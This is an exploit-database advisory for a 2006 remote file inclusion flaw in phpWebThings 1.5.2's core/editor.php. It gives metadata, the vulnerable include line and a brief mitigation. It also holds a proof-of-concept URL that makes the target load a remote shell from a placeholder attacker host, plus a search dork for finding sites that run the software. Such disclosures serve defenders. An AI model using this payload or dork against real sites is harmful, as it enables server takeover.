phpWebThings 1.5.2 (editor.php) Remote File Include Vulnerability

vendor:

phpWebThings

by:

nuffsaid

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: phpWebThings

Affected Version From: 1.5.2

Affected Version To: 1.5.2

Patch Exists: YES

Related CWE: N/A

CPE: a:phpwebthings:phpwebthings:1.5.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

phpWebThings 1.5.2 (editor.php) Remote File Include Vulnerability

phpWebThings 1.5.2 core/editor.php does not initialize the $editor_insert_bottom variable before using it to include files, assuming register_globals = on, we can initialize the variable in a query string and include a remote file of our choice.

Mitigation:

Ensure that the $editor_insert_bottom variable is properly initialized before use.

Source

Exploit-DB raw data:

+-------------------------------------------------------------------------------------------
+ phpWebThings 1.5.2 (editor.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: phpWebThings 1.5.2
+ Vendor ............: http://www.phpwebthings.nl/
+ Download ..........: http://prdownloads.sourceforge.net/phpwebthings/phpwebthings_1_5_2.zip?download
+ Description .......: "phpWebThings is a Powerful, professional application framework"
+ Dork ..............: "This website was created with phpWebThings"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ phpWebThings 1.5.2 core/editor.php does not initialize the $editor_insert_bottom variable
+ before using it to include files, assuming register_globals = on, we can initialize the
+ variable in a query string and include a remote file of our choice.
+
+ Vulnerable Code: 
+ core/editor.php, line(s) 289:
+ -> 289: if ($editor_insert_bottom<>"") include($editor_insert_bottom);
+
+ Proof Of Concept:
+ http://[target]/[path]/core/editor.php?editor_insert_bottom=http://evilsite.com/shell.php
+-------------------------------------------------------------------------------------------

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